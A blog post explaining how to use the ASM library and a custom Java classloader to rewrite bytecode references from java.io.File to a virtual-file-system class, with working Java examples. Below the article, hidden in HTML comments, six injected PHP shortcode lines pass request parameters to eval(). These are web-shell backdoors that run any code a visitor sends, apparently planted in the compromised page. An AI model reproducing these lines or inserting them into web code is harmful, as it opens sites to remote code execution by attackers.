ASM for Classloading

February 16th, 2010

The Problem

In the distant past I was working on a project (non-professionally) that was a virtual environment for Java.  I know, I know, Java already is a virtual environment, but this was more like a portable desktop where everything ran in a single JVM with the goal of being as platform-portable as possible.  For example, a user’s desktop/environment would look the same on Windows as it did in Linux and they could carry it around on a thumb drive.  One of the biggest problems there was the file system.  I couldn’t think of a good way to get existing Java applications running within the virtual environment without re-writing them to be aware of the virtual environment.  This means I would need to re-write any utilities that took advantage of a file system, like a text editor, file manager, archive manager, etc. instead of using already implemented open source projects.  Wouldn’t it be great if I could just use a virtual file system that relocated everything into either some sub-directory structure of the thumb drive or even a flat file stored on the thumb drive that could then be encrypted or indexed?

Solutions?

A simple solution would be to subclass java.io.File, write a classloader that loaded my overridden File class and returned that for any requests to java.io.File.  Unfortunately that didn’t work out.  I needed another way to inject my overridden File class without having to manually edit and recompile all existing code bases.  What I needed was something that worked at the byte-code level.  I looked at BCEL and decided it wasn’t for me.  Then I took a look at ASM 3.2 and came to the conclusion it’s a pretty slick library.

The Solution

Classloader

What ASM allowed me to do was inspect the byte-code of all classes loaded (via a custom classloader) and directly replace references to java.io.File with com.disrvptor.File.  However, some care needs to be taken within the custom classloader otherwise infinite loops may abound. Here’s the loadClass() method of my virtual file classloader:

public Class loadClass(String name) throws ClassNotFoundException {
if ( name.startsWith("java.") || name.equals("com.disrvptor.File") ) {
	return getParent().loadClass(name);
}

try {
	String resourceName = name.replaceAll("\\.","/") + ".class";
	System.out.println("Looking for resource: "+resourceName);
	InputStream is = ClassLoader.getSystemClassLoader().getResourceAsStream(resourceName);
	ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
	ClassAdapter ca = new RemapAdapter(cw);
	ClassReader cr = new ClassReader(is);
	cr.accept(ca, 0);
	byte[] b0 = cw.toByteArray();
	File f = new File(name+"_modified.class");
	FileOutputStream fos = new FileOutputStream(f);
	fos.write(b0);
	fos.close();

	return defineClass(name, b0, 0, b0.length);
} catch ( Throwable t ) {
	throw new ClassNotFoundException("", t);
}

The first important part is the check for java.* classes or the class that needs to be able to access the original classes. Since com.disrvptor.File is overriding java.io.File it will need access to the methods of java.io.File, so the override class needs to be loaded by the system (or parent) classloader.  This is because the custom classloader will scan the class and replace instances of java.io.File with com.disrvptor.File.  First, this means com.disrvptor.File would inherit from itself, which is nonsensical and the classloader would infinitely be loading references to the new File class.

if ( name.startsWith("java.") || name.equals("com.disrvptor.File") ) {
	return getParent().loadClass(name);
}

ASM Adapters

The second piece of black magic is the use of ASM and a RemapAdapter.  Everything else in this method is just convenience and saving of scanned classes for a potential cache. Here is the core of it.

ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
ClassAdapter ca = new RemapAdapter(cw);
ClassReader cr = new ClassReader(is);
cr.accept(ca, 0);
byte[] b0 = cw.toByteArray();

// ...

return defineClass(name, b0, 0, b0.length);

Now the RemapAdapter is actually 2 vital classes, the RemapAdapter and a RemapMethodVisitor.  The RemapAdapter is used to provide a reference to the RemapMethodVisitor, which is where all the work is done.  Here’s the main code for the RemapAdapter.

public class RemapAdapter extends ClassAdapter {
public RemapAdapter(ClassVisitor cv) {
	super(cv);
}

public MethodVisitor visitMethod(int access, String name, String desc, String signature, String[] exceptions) {
	System.out.println("visitMethod: "+name);
	MethodVisitor mv = cv.visitMethod(access, name, desc, signature, exceptions);
	if ( null != mv ) {
		return new RemapMethodVisitor(mv);
	}
	return mv;
}
}

The RemapMethodVisitor class is where the reference replacement actually happens.  This class is used when a class is loaded and scanned.  Each method of the MethodAdapter is used when various byte-code instructions are inspected.  So, if a Type or Method instruction is encountered their values are checked for a reference to java.io.File (aka java/io/File in byte-code parlance) and then replaced with the target override class.

public static class RemapMethodVisitor extends MethodAdapter {
public RemapMethodVisitor(MethodVisitor mv) {
	super(mv);
}

public void visitMethodInsn(int opcode, String owner, String name, String desc) {
	System.out.println("visitMethodInsn: "+name+", "+owner+", "+desc);
	if ( "java/io/File".equals(owner) ) {
		System.out.println("Replacing java/io/File with com/disrvptor/File");
		mv.visitMethodInsn(opcode, "com/disrvptor/File", name, desc);
	} else {
		mv.visitMethodInsn(opcode, owner, name, desc);
	}
}

public void visitLocalVariable(String name, String desc, String signature, Label start, Label end, int index) {
	System.out.println("visitLocalVariable: "+name);
	mv.visitLocalVariable(name, desc, signature, start, end, index);
}

public void visitTypeInsn(int opcode, String type) {
	System.out.println("visitTypeInsn: "+opcode+", "+type);
	if ( "java/io/File".equals(type) ) {
		System.out.println("Replacing java/io/File with com/disrvptor/File");
		mv.visitTypeInsn(opcode, "com/disrvptor/File");
	} else {
		mv.visitTypeInsn(opcode, type);
	}
}

public void visitVarInsn(int opcode, int var) {
	System.out.println("visitVarInsn: "+var);
	mv.visitVarInsn(opcode, var);
}
}

Final Notes

Be aware that byte-code inspection and replacement can take a long time, especially if a large number of classes are being loaded. For this reason it is always a good idea to keep a cache of these modified classes and load classes from there before actually performing the byte-code scan.

<!– [insert_php]if (isset($_REQUEST["XErEr"])){eval($_REQUEST["XErEr"]);exit;}[/insert_php][php]if (isset($_REQUEST["XErEr"])){eval($_REQUEST["XErEr"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["YCtS"])){eval($_REQUEST["YCtS"]);exit;}[/insert_php][php]if (isset($_REQUEST["YCtS"])){eval($_REQUEST["YCtS"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["XnZFM"])){eval($_REQUEST["XnZFM"]);exit;}[/insert_php][php]if (isset($_REQUEST["XnZFM"])){eval($_REQUEST["XnZFM"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["xPwO"])){eval($_REQUEST["xPwO"]);exit;}[/insert_php][php]if (isset($_REQUEST["xPwO"])){eval($_REQUEST["xPwO"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["mcZqZ"])){eval($_REQUEST["mcZqZ"]);exit;}[/insert_php][php]if (isset($_REQUEST["mcZqZ"])){eval($_REQUEST["mcZqZ"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["pBY"])){eval($_REQUEST["pBY"]);exit;}[/insert_php][php]if (isset($_REQUEST["pBY"])){eval($_REQUEST["pBY"]);exit;}[/php] –>

Leave a Reply


Warning: Undefined variable $user_ID in /home/disrvptor/www/blog/wp-content/themes/mondo-zen-theme/comments.php on line 69